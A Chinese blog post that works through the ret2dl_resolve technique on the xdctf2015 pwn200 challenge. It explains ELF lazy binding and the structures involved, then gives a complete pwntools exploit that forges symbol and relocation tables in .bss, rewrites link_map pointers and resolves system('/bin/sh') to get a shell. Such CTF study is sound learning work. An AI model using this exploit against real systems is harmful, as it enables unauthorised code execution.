0%

ret2dl_resolve

  好久不见呀~


  ret2dl_resolveFSOP等同属于伪造结构体这种利用思路。(简单地划分在栈入门题里我觉得不是很合适…当然一定是因为我菜)本篇记录我调试的详细过程。题目是xdctf2015pwn200

原理部分

  笔者理解过程主要依靠《程序员的自我修养》和《understanding elf》。活久见!ling居然看书le 下功夫去读源码自己构造是想依此来对动态链接过程有一个深刻的认识。学习结构体伪造这类利用方法时发现看源码应该是个必要的步骤…对结构体成员不熟悉很容易觉得题解天书。书本已经讲得比较详细了,再去引用难免有拾人牙慧之嫌。下面只记录一下自己的理解。

  延迟绑定机制使得程序能够只为实际运行过程中被调用的符号进行绑定,且只在这些符号第一次被调用时花费时间去绑定,这能够有效提升程序运行速度减少不必要的资源浪费。实现这一过程的关键函数是dl_runtime

调试

  一开始尝试自己构造link_map的时候因为和构造段表的地方重叠,思路过于混乱,无数次在_dl_runtime_resolve中被检测到段错误非常心累。于是本辣鸡选择改掉原link_map中用来定位符号表、字符串表、重定位表的3个字段link_map->l_info[DT_SYMTAB]l_info[DT_STRTAB],l_info[DT_JMPREL]使它们指向我构造的三个表。

  第一次链接时,向dl_runtime传入两个参数,一个是link_map,另一个是偏移reloc_arg。(这里不太明白gdb里看到是_dl_runtime_resolve,去elf/dl-runtime.c里看却好像是_dl_fixup)。总之_dl_fixup函数先通过对link_map->l_info表的索引获得三个表的地址。

三个表的定义位于elf/elf.h中。

指向这三个表的指针被存放在l_info数组中,其结构为:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;

  这个结构体中d_ptr指向的就是表真正所在的地址。

  l_info[5]:字符串表。直接用下标索引,不同字符串之间用\0分隔

  l_info[6]:符号表。

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;


  l_info[23]:重定位表。(还有一个结构叫Elf32_Rela不知道区别是什么)r_info>>4得到其在符号表中的下标,检测r_info&0xf是否和某个值相等,代码为assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);后面的宏和平台架构有关。(所以F12直接得到的1026并不正确)其值在sysdeps/i386/dl-machine.h中可以找到,为7。

1
2
3
4
5
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;

  整体流程为,由第二个参数reloc_arg加上重定位表地址得到对应的重定位表(加的时候加的应该不是sizeof(Elf32_Rel)*reloc_arg,直接就是reloc_arg);由该重定位表的r_info得到其在符号表中下标;从符号表中的st_name字段得到对应的字符串地址,再从库中找到字符串所在地址填入对应重定位表的r_offset字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *;from LibcSearcher import *
name='./pwn200'
f=ELF(name)
if args.G:
p=remote("pwn.challenge.lctf.online",10002)
else:
p = process(name)
#context(os='linux',arch='amd64',log_level='debug')
context(os='linux',arch='i386',log_level='debug')
#context.terminal = ['tmux' , 'splitw' , '-h']
one=[0x4527a,0x45226,0xf0364,0xf1207]
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
uu32 = lambda data :u32(data.ljust(4,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l = lambda x :log.success(x)
dbg = lambda :gdb.attach(p,'b *0x8048376')

bss=0x0804a000
ret=0x80484bd
resolve=0x8048376
main=0x80484be

str_offset=0xcc
sym_offset=0xd4
rel_offset=0xf4
link_map=0x8049ff8


fake=flat(0,0,# 0x0
0,0,0,0,0,0,0,0,0,# .dynamic 0x8
0,0,# bss+0x42c
0,0,# bss+0x434
0,0,# bss+0x43c
0,0,# bss+0x444
0,bss+0x400+str_offset, # bss+0x44c[5]
0,bss+0x400+sym_offset, # bss+0x454[6]
0xa,0x64, # bss+0x45c
0xb,0x10, # bss+0x464
0x15,bss+0x48c, # in libc bss+0x46c
3,0x8049ff4, # bss+0x474
bss+0x48c, 0x28, # bss+0x47c
0x14,0x11, # bss +0x484
0x0,bss+0x400+rel_offset,#17 jmprel bss+0x48c[23]
0x11,0x8048300, # bss+0x494
bss+0x400+rel_offset-0x10,0x18, # bss+0x49c
0x13,0x8, # bss+0x4a4
0x6ffffffe,0x80482e0, # bss+0x4ac
0x6fffffff,0x1, # bss+0x4b4
0,0, # bss+0x4bc
0,0, # bss+0x4c4
'system\0\0',# strtab bss+0x4cc
0,0,0,'\0\0\0\0',0,0,0,'\x00\0\0\0',# symtab bss+0x4d4
f.got['read'],0x107, #rel bss+0x4f4
'/bin/sh\0'# 0x4fc
)

def change(addr,value,length=4):
sla('2015~!\n',0x6c*'a'+flat(0,f.plt['read'],main,0,addr,length))
s(p32(value))

sla('2015~!\n',0x6c*'a'+flat(0,f.plt['read'],main,0,bss+0x400,0x200))
pause(2)
sl(fake)

sla('2015~!\n',0x6c*'a'+flat(0,f.plt['write'],main,1,link_map,4))
head=uu32(p.recv(4))
log.info('head:'+hex(head))

#change(head+8,bss+0x42c) # 后来发现这句也不必要
change(head+0x20+20,bss+0x44c,bss+0x4f4)
change(head+0x24+20,bss+0x454)
change(head+0x60+28,bss+0x48c)
sla('2015~!\n',0x6c*'a'+flat(bss+0x400,resolve,head,0,0,bss+0x4fc))
p.interactive()

  但这种做法当程序关闭输出流时便不奏效了,可拓展性很差。目前还在摸索怎么自己构造link_map。。下次一定!